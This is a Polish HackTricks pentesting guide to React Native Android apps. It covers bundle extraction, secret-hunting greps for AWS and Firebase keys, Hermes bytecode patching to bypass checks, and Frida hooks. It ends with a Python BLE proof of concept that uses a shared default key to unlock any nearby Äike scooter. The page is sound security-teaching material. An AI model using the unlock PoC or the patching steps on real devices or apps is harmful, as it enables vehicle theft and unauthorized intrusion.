Analiza aplikacji React Native
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Aby potwierdzić, czy aplikacja została zbudowana przy użyciu frameworka React Native, wykonaj następujące kroki:
-
Zmień nazwę pliku APK na rozszerzenie zip i rozpakuj go do nowego folderu, używając poleceń
cp com.example.apk example-apk.ziporazunzip -qq example-apk.zip -d ReactNative. -
Przejdź do nowo utworzonego folderu ReactNative i zlokalizuj folder assets. W jego wnętrzu powinien znajdować się plik
index.android.bundle, który zawiera kod JavaScript aplikacji React w zminifikowanej postaci. -
Użyj polecenia
find . -print | grep -i ".bundle$"aby wyszukać plik JavaScript.
Uwaga: Jeśli otrzymasz Android App Bundle (.aab) zamiast APK, najpierw wygeneruj universal APK, a następnie wyodrębnij bundle:
# Get bundletool.jar and generate a universal APK set
java -jar bundletool.jar build-apks \
--bundle=app-release.aab \
--output=app.apks \
--mode=universal \
--overwrite
# Extract the APK and then unzip it to find assets/index.android.bundle
unzip -p app.apks universal.apk > universal.apk
unzip -qq universal.apk -d ReactNative
ls ReactNative/assets/
Javascript Code
Jeżeli po sprawdzeniu zawartości index.android.bundle znajdziesz kod JavaScript aplikacji (nawet jeśli jest zminifikowany), możesz przeanalizować go w celu znalezienia wrażliwych informacji i podatności.
Ponieważ bundle faktycznie zawiera cały kod JS aplikacji, możliwe jest podzielenie go na różne pliki (co może ułatwić jego reverse engineering) przy użyciu narzędzia react-native-decompiler.
Webpack
Aby dalej analizować kod JavaScript, możesz przesłać plik na https://spaceraccoon.github.io/webpack-exploder/ lub wykonać następujące kroki:
- Utwórz plik o nazwie
index.htmlw tym samym katalogu z następującym kodem:
<script src="./index.android.bundle"></script>
-
Otwórz plik
index.htmlw Google Chrome. -
Otwórz Narzędzia deweloperskie, naciskając Command+Option+J dla OS X lub Control+Shift+J dla Windows.
-
Kliknij “Sources” w Narzędziach deweloperskich. Powinieneś zobaczyć plik JavaScript podzielony na foldery i pliki, tworzący główny bundle.
Jeśli znajdziesz plik o nazwie index.android.bundle.map, będziesz mógł analizować kod źródłowy w formacie nieminifikowanym. Pliki map zawierają mapowanie źródeł, które pozwala odwzorować zminifikowane identyfikatory.
Aby wyszukać wrażliwe poświadczenia i endpointy, wykonaj następujące kroki:
-
Zidentyfikuj wrażliwe słowa kluczowe do analizy kodu JavaScript. Aplikacje React Native często używają usług firm trzecich, takich jak Firebase, AWS S3, endpointy usług, klucze prywatne itp.
-
W tym konkretnym przypadku zaobserwowano, że aplikacja używa usługi Dialogflow. Wyszukaj wzorzec powiązany z jej konfiguracją.
-
Na szczęście podczas rekonesansu w kodzie JavaScript znaleziono wrażliwe, hard-coded poświadczenia.
Szybkie wyszukiwanie sekretów/endpointów w bundle’ach
Te proste grepsy często ujawniają interesujące wskazówki nawet w zminifikowanym JS:
# Common backends and crash reporters
strings -n 6 index.android.bundle | grep -Ei "(api\.|graphql|/v1/|/v2/|socket|wss://|sentry\.io|bugsnag|appcenter|codepush|firebaseio\.com|amplify|aws)"
# Firebase / Google keys (heuristics)
strings -n 6 index.android.bundle | grep -Ei "(AIza[0-9A-Za-z_-]{35}|AIzaSy[0-9A-Za-z_-]{33})"
# AWS access key id heuristic
strings -n 6 index.android.bundle | grep -E "AKIA[0-9A-Z]{16}"
# Expo/CodePush deployment keys
strings -n 6 index.android.bundle | grep -Ei "(CodePush|codepush:\\/\\/|DeploymentKey)"
# Sentry DSN
strings -n 6 index.android.bundle | grep -Ei "(Sentry\.init|dsn\s*:)"
If you suspect Over-The-Air update frameworks, also hunt for:
- Microsoft App Center / CodePush — klucze wdrożeniowe
- Expo EAS Updates — konfiguracja (
expo-updates,expo\.io, certyfikaty podpisywania)
Zmień kod JS i przebuduj
W tym przypadku zmiana kodu jest prosta. Wystarczy zmienić nazwę aplikacji, aby miała rozszerzenie .zip i ją wypakować. Następnie możesz zmodyfikować kod JS wewnątrz tego bundle i przebudować aplikację. To powinno być wystarczające, aby umożliwić Ci wstrzyknięcie kodu w aplikacji w celach testowych.
Hermes bytecode
If the bundle contains Hermes bytecode, you won’t be able to access the Javascript code of the app (not even to the minified version).
Możesz sprawdzić, czy bundle zawiera Hermes bytecode, uruchamiając następujące polecenie:
file index.android.bundle
index.android.bundle: Hermes JavaScript bytecode, version 96
Możesz jednak użyć narzędzi hbctool, zaktualizowanych forków hbctool, które obsługują nowsze wersje bytecode, hasmer, hermes_rs (Rust library/APIs), lub hermes-dec do disassemble the bytecode i także do decompile it to some pseudo JS code. Na przykład:
# Disassemble and re-assemble with hbctool (works only for supported HBC versions)
hbctool disasm ./index.android.bundle ./hasm_out
# ...edit ./hasm_out/**/*.hasm (e.g., change comparisons, constants, feature flags)...
hbctool asm ./hasm_out ./index.android.bundle
# Using hasmer (focus on disassembly; assembler/decompiler are WIP)
hasmer disasm ./index.android.bundle -o hasm_out
# Using hermes-dec to produce pseudo-JS
hbc-disassembler ./index.android.bundle /tmp/my_output_file.hasm
hbc-decompiler ./index.android.bundle /tmp/my_output_file.js
Wskazówka: otwarty projekt Hermes dostarcza też narzędzia deweloperskie, takie jak hbcdump, w konkretnych wydaniach Hermes. Jeśli zbudujesz dopasowaną wersję Hermes używaną do wygenerowania bundle, hbcdump może zrzucać funkcje, tabele stringów i bytecode do głębszej analizy.
Zmień kod i odbuduj (Hermes)
Idealnie powinieneś móc zmodyfikować kod po deasemblacji (zmieniając porównanie, wartość lub cokolwiek, co trzeba zmienić) i następnie ponownie zbudować bytecode oraz ponownie zbudować aplikację.
- Oryginalne hbctool wspiera deasemblację bundle i jego ponowne składanie po zmianach, ale historycznie obsługiwało tylko starsze wersje bytecode. Forki utrzymywane przez społeczność rozszerzają wsparcie na nowsze wersje Hermes (w tym mid-80s–96) i często są najpraktyczniejszą opcją do patchowania nowoczesnych aplikacji RN.
- Narzędzie hermes-dec nie wspiera ponownego budowania bytecode (tylko dekompilator/deasemblator), ale jest bardzo pomocne przy analizie logiki i zrzucaniu stringów.
- Narzędzie hasmer ma na celu wspierać zarówno deasemblację, jak i składanie dla wielu wersji Hermes; składanie nadal dojrzewa, ale warto spróbować na nowszym bytecode.
Minimalny workflow z assemblerami typu hbctool:
# 1) Disassemble to HASM directories
hbctool disasm assets/index.android.bundle ./hasm
# 2) Edit a guard or feature flag (example: force boolean true)
# In the relevant .hasm, replace a LoadConstUInt8 0 with 1
# or change a conditional jump target to bypass a check.
# 3) Reassemble into a new bundle
hbctool asm ./hasm assets/index.android.bundle
# 4) Repack the APK and resign
zip -r ../patched.apk *
# Align/sign as usual (see Android signing section in HackTricks)
Zwróć uwagę, że format bytecode Hermes jest wersjonowany i assembler musi dokładnie odpowiadać formatowi na dysku. Jeśli pojawią się błędy formatu, przełącz się na zaktualizowany fork/alternatywę lub przebuduj pasujące narzędzia Hermes.
Analiza dynamiczna
Jednym ze sposobów analizy dynamicznej aplikacji jest użycie Frida, aby włączyć tryb deweloperski aplikacji React i użycie react-native-debugger do podłączenia się do niej. Jednak najwyraźniej do tego potrzebny jest kod źródłowy aplikacji. Więcej informacji znajdziesz na https://newsroom.bedefended.com/hooking-react-native-applications-with-frida/.
Włączenie Dev Support w wersji release za pomocą Frida (uwagi)
Niektóre aplikacje przypadkowo zawierają klasy, które umożliwiają przełączanie Dev Support. Jeśli takie klasy występują, możesz spróbować wymusić, aby getUseDeveloperSupport() zwracało true:
// frida -U -f com.target.app -l enable-dev.js
Java.perform(function(){
try {
var Host = Java.use('com.facebook.react.ReactNativeHost');
Host.getUseDeveloperSupport.implementation = function(){
return true; // force dev support
};
console.log('[+] Patched ReactNativeHost.getUseDeveloperSupport');
} catch (e) {
console.log('[-] Could not patch: ' + e);
}
});
Uwaga: W poprawnie zbudowanych release builds klasy takie jak DevSupportManagerImpl oraz pokrewne klasy przeznaczone wyłącznie do debugowania są usuwane, więc przełączenie tej flagi może spowodować awarię aplikacji albo nie przynieść efektu. Gdy to zadziała, zazwyczaj możesz wywołać dev menu i podłączyć debuggers/inspectors.
Przechwytywanie ruchu sieciowego w aplikacjach RN
React Native na Androidzie zazwyczaj opiera się na OkHttp (poprzez natywny moduł Networking). Aby przechwycić/obserwować ruch na urządzeniu bez roota podczas dynamicznych testów:
- Użyj systemowego proxy i zaufaj user CA albo zastosuj inne ogólne techniki bypass TLS na Androidzie.
- Wskazówka specyficzna dla RN: jeśli aplikacja przypadkowo pakuje Flippera w release (debug tooling), wtyczka Flipper Network może ujawnić requests/responses.
W przypadku ogólnych technik przechwytywania na Androidzie i obejścia pinningu zobacz:
Make APK Accept CA Certificate
Odkrywanie protokołu GATT w czasie wykonywania za pomocą Frida (kompatybilne z Hermes)
Gdy bytecode Hermes utrudnia prostą statyczną inspekcję JS, zamiast tego podczep się pod stos BLE Androida. android.bluetooth.BluetoothGatt i BluetoothGattCallback ujawniają wszystko, co aplikacja wysyła/odbiera, co pozwala odwrócić własnościowe challenge-response i ramki poleceń bez dostępu do kodu JS.
Frida GATT logger (UUID + hex/ASCII dumps)
```js Java.perform(function () { function b2h(b) { return Array.from(b || [], x => ('0' + (x & 0xff).toString(16)).slice(-2)).join(' '); } function b2a(b) { return String.fromCharCode.apply(null, b || []).replace(/[^\x20-\x7e]/g, '.'); } var G = Java.use('android.bluetooth.BluetoothGatt'); var Cb = Java.use('android.bluetooth.BluetoothGattCallback');G.writeCharacteristic.overload(‘android.bluetooth.BluetoothGattCharacteristic’).implementation = function (c) {
console.log(\n>>> WRITE ${c.getUuid()}); console.log(b2h(c.getValue())); console.log(b2a(c.getValue()));
return this.writeCharacteristic(c);
};
G.writeCharacteristic.overload(‘android.bluetooth.BluetoothGattCharacteristic’,‘[B’,‘int’).implementation = function (c,v,t) {
console.log(\n>>> WRITE ${c.getUuid()} (type ${t})); console.log(b2h(v)); console.log(b2a(v));
return this.writeCharacteristic(c,v,t);
};
Cb.onConnectionStateChange.overload(‘android.bluetooth.BluetoothGatt’,‘int’,‘int’).implementation = function (g,s,n) {
console.log(*** STATE ${n} (status ${s})); return this.onConnectionStateChange(g,s,n);
};
Cb.onCharacteristicRead.overload(‘android.bluetooth.BluetoothGatt’,‘android.bluetooth.BluetoothGattCharacteristic’,‘int’).implementation = function (g,c,s) {
var v=c.getValue(); console.log(\n<<< READ ${c.getUuid()} status ${s}); console.log(b2h(v)); console.log(b2a(v));
return this.onCharacteristicRead(g,c,s);
};
Cb.onCharacteristicChanged.overload(‘android.bluetooth.BluetoothGatt’,‘android.bluetooth.BluetoothGattCharacteristic’).implementation = function (g,c) {
var v=c.getValue(); console.log(\n<<< NOTIFY ${c.getUuid()}); console.log(b2h(v));
return this.onCharacteristicChanged(g,c);
};
});
</details>
Hook `java.security.MessageDigest`, aby fingerprintować hash-based handshakes i przechwycić dokładną konkatenację input:
<details>
<summary>Frida MessageDigest tracer (algorithm, input, output)</summary>
```js
Java.perform(function () {
var MD = Java.use('java.security.MessageDigest');
MD.getInstance.overload('java.lang.String').implementation = function (alg) { console.log(`\n[HASH] ${alg}`); return this.getInstance(alg); };
MD.update.overload('[B').implementation = function (i) { console.log('[HASH] update ' + i.length + ' bytes'); return this.update(i); };
MD.digest.overload().implementation = function () { var r=this.digest(); console.log('[HASH] digest -> ' + r.length + ' bytes'); return r; };
MD.digest.overload('[B').implementation = function (i) { console.log('[HASH] digest(' + i.length + ')'); return this.digest(i); };
});
Przykładowy rzeczywisty przepływ BLE odzyskany w ten sposób:
- Odczytaj challenge z
00002556-1212-efde-1523-785feabcd123. - Oblicz
response = SHA1(challenge || key)gdzie key był 20-bajtowym domyślnym 0xFF wgranym na wszystkich urządzeniach. - Zapisz response do
00002557-1212-efde-1523-785feabcd123, a następnie wyślij polecenia na0000155f-1212-efde-1523-785feabcd123.
Po uwierzytelnieniu polecenia były 10-bajtowymi ramkami do ...155f... ([0]=0x00, [1]=rejestr 0xD4, [3]=id cmd, [7]=param). Przykłady: unlock 00 D4 00 01 00 00 00 00 00 00, lock ...02..., eco-mode on ...03...01..., open battery ...04.... Powiadomienia przychodziły na 0000155e-1212-efde-1523-785feabcd123 (2-bajtowy rejestr + payload), a wartości rejestru można było odpytywać zapisując ID rejestru do 00001564-1212-efde-1523-785feabcd123, a następnie odczytując z ...155f....
With a shared/default key the challenge-response collapses. Any nearby attacker can compute the digest and send privileged commands. A minimal bleak PoC:
Python (bleak) BLE auth + unlock via default key
```python import asyncio, hashlib from bleak import BleakClient, BleakScanner CHAL="00002556-1212-efde-1523-785feabcd123"; RESP="00002557-1212-efde-1523-785feabcd123"; CMD="0000155f-1212-efde-1523-785feabcd123"def filt(d,_): return d.name and d.name in [“AIKE”,“AIKE_T”,“AIKE_11”] async def main(): dev = await BleakScanner.find_device_by_filter(filt, timeout=10.0) if not dev: return async with BleakClient(dev.address) as c: chal = await c.read_gatt_char(CHAL) resp = hashlib.sha1(chal + b’\xff’*20).digest() await c.write_gatt_char(RESP, resp, response=False) await c.write_gatt_char(CMD, bytes.fromhex(‘00 d4 00 01 00 00 00 00 00 00’), response=False) await asyncio.sleep(0.5) asyncio.run(main())
</details>
## Ostatnie problemy w popularnych bibliotekach RN (na co zwrócić uwagę)
Podczas audytu modułów firm trzecich widocznych w JS bundle lub natywnych bibliotekach, sprawdź znane podatności i zweryfikuj wersje w `package.json`/`yarn.lock`.
- react-native-mmkv (Android): wersje wcześniejsze niż 2.11.0 zapisywały opcjonalny klucz szyfrowania do logów Androida. Jeśli ADB/logcat jest dostępny, sekrety mogły zostać odzyskane. Upewnij się, że wersja >= 2.11.0. Wskaźniki: użycie `react-native-mmkv`, komunikaty logów wspominające MMKV init with encryption. CVE-2024-21668.
- react-native-document-picker: wersje < 9.1.1 były podatne na path traversal na Androidzie (wybór pliku), naprawione w 9.1.1. Zweryfikuj wejścia i wersję biblioteki.
Szybkie kontrole:
```bash
grep -R "react-native-mmkv" -n {index.android.bundle,*.map} 2>/dev/null || true
grep -R "react-native-document-picker" -n {index.android.bundle,*.map} 2>/dev/null || true
# If you also have the node_modules (rare on release): grep -R in package.json / yarn.lock
References
- https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7
- https://www.assetnote.io/resources/research/expanding-the-attack-surface-react-native-android-applications
- https://payatu.com/wp-content/uploads/2023/02/Mastering-React-Native-Application-Pentesting-A-Practical-Guide-2.pdf
- CVE-2024-21668 - react-native-mmkv logs encryption key on Android (NVD)
- hbctool (and forks) for Hermes assemble/disassemble
- Äike BLE authentication bypass: default BLE private key allows unlocking any nearby scooter
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


